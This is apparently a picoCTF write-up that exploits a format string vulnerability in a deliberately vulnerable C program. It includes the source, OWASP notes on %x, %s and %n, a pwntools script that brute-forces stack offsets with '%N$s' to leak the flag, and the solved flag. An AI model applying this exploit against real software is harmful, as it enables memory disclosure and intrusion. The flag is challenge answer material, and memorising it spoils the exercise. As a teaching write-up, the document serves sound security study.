Story telling class 1/2
I’m just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net PORT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story); // Will print whatever we want, NOT GOOD!!
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
OWASP - Format string attack
Exploiting format string - Stanford
LiveOverflow - Format String Exploit bin 0x13
In short the format string vulnerability lets us print and write information from the stack.
OWASP extract:
Below are some format parameters which can be used and their consequences:
- ”%x” Read data from the stack
- ”%s” Read character strings from the process’ memory
- ”%n” Write an integer to locations in the process’ memory
Example:
1
2
3
4
5
6
7
8
9
#include <stdio.h>
void main(int argc, char **argv)
{
// This line is safe
printf("%s\n", argv[1]);
// This line is vulnerable
printf(argv[1]);
}
In the vulnerable code, the flag is placed on the stack just under the input buffer:
1
2
3
void vuln(){
char flag[BUFSIZE];
char story[128];
We can send %1$s
to the program to view the first parameter on the stack. We will use this to brute force the location of the flag and print it.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
host, port = "saturn.picoctf.net", 55904
# Create remote or local process based on CLI
def new_process():
if args.LOCAL:
return process("./vuln")
else:
return remote(host, port)
# Brute force location of flag on the stack
with context.quiet:
for i in range(30):
p = new_process()
p.recvuntil(b">>")
p.sendline("%" + str(i) + "$s")
p.recvuntil("\n")
out = p.recvall()
try:
flag = out.decode()
except UnicodeDecodeError:
pass
if "CTF{" in flag:
print(f"pico{flag}")
picoCTF{L34k1ng_Fl4g_0ff_St4ck_6aea3c7c}